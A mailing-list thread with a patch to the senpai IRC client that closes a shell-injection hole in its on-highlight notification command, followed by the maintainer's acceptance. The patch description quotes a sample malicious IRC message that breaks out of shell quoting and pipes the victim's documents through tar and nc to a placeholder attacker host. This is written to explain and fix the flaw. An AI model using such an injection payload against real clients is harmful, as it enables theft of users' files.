~taiite/public-inbox

This thread contains a patchset. You're looking at the original emails, but you may wish to use the patch review UI. Review patch
1

[PATCH senpai] Use environment variables for on-highlight

Details
Message ID
<20210501101704.15303-1-yyp@disroot.org>
DKIM signature
pass
Download raw message
Patch: +16 -17
Breaking change!

The old approach of format modifiers is not ideal and usually has
problems with shell quoting, that way anyone is able to get a remote
shell just by sending a malicious message like:

    <evilhacker> "; tar -c $(find documents) | nc hackersserver 1337; "

Given that my on-highlight is:
    notify-send "%b" "<%n> %m"

This would be transformed into:

    notify-send "#cmpwn" "<evilhacker> "; tar -c $(find documents) | nc hackersserver 1337; ""

And this way it becomes a huge security vulnerability.

When using environment variables combined with double quotes, shell
escapes everything that appears there and gives the raw result to
command executed.

Though, this requires a little update to users' on-highlight setting:

  %b -> $BUFFER
  %n -> $SENDER
  %m -> $MESSAGE
  %h -> $HERE
---
 app.go           | 17 +++++++++--------
 doc/senpai.5.scd | 16 +++++++---------
 2 files changed, 16 insertions(+), 17 deletions(-)

diff --git a/app.go b/app.go
index 5a57c01..17acd59 100644
--- a/app.go
+++ b/app.go
@@ -4,6 +4,7 @@ import (
	"crypto/tls"
	"fmt"
	"net"
	"os"
	"os/exec"
	"strings"
	"time"
@@ -564,14 +565,14 @@ func (app *App) notifyHighlight(buffer, nick, content string) {
	if buffer == app.win.CurrentBuffer() {
		here = "1"
	}
	r := strings.NewReplacer(
		"%%", "%",
		"%b", buffer,
		"%h", here,
		"%n", nick,
		"%m", cleanMessage(content))
	command := r.Replace(app.cfg.OnHighlight)
	output, err := exec.Command(sh, "-c", command).CombinedOutput()
	cmd := exec.Command(sh, "-c", app.cfg.OnHighlight)
	cmd.Env = append(os.Environ(),
		fmt.Sprintf("BUFFER=%s", buffer),
		fmt.Sprintf("HERE=%s", here),
		fmt.Sprintf("SENDER=%s", nick),
		fmt.Sprintf("MESSAGE=%s", cleanMessage(content)),
	)
	output, err := cmd.CombinedOutput()
	if err != nil {
		body := fmt.Sprintf("Failed to invoke on-highlight command: %v. Output: %q", err, string(output))
		app.win.AddLine(Home, false, ui.Line{
diff --git a/doc/senpai.5.scd b/doc/senpai.5.scd
index 1218f73..5aab8e3 100644
--- a/doc/senpai.5.scd
+++ b/doc/senpai.5.scd
@@ -39,19 +39,17 @@ Some settings are required, the others are optional.

*on-highlight*
	A command to be executed via _sh_ when you are highlighted.  The following
	format specifiers are expanded with respect to the highlight:
	environment variables are set with repect to the highlight:

[[ *Format specifier*
[[ *Environment variable*
:< *Description*
|  %%
:  literal %
|  %b
|  BUFFER
:  buffer where the message appeared
|  %h
:  equals 1 if _%b_ is the current buffer, 0 otherwise
|  %m
|  HERE
:  equals 1 if _BUFFER_ is the current buffer, 0 otherwise
|  MESSAGE
:  content of the message
|  %n
|  SENDER
:  nickname of the sender

*nick-column-width*
-- 
2.31.1
Details
Message ID
<20210501140149.38e6dd9d@vroom.localdomain>
In-Reply-To
<20210501101704.15303-1-yyp@disroot.org> (view parent)
DKIM signature
pass
Download raw message
Wow, nice one.  Didn't have shell injections in mind when I made this,
sorry if it has affected you.

Pushed your patch, and another one to update the example and add a
warning about quoting the variables:

https://git.sr.ht/~taiite/senpai/commit/10d6a2390ff21a248773ffc7182a89754104e68c
Reply to thread Export thread (mbox)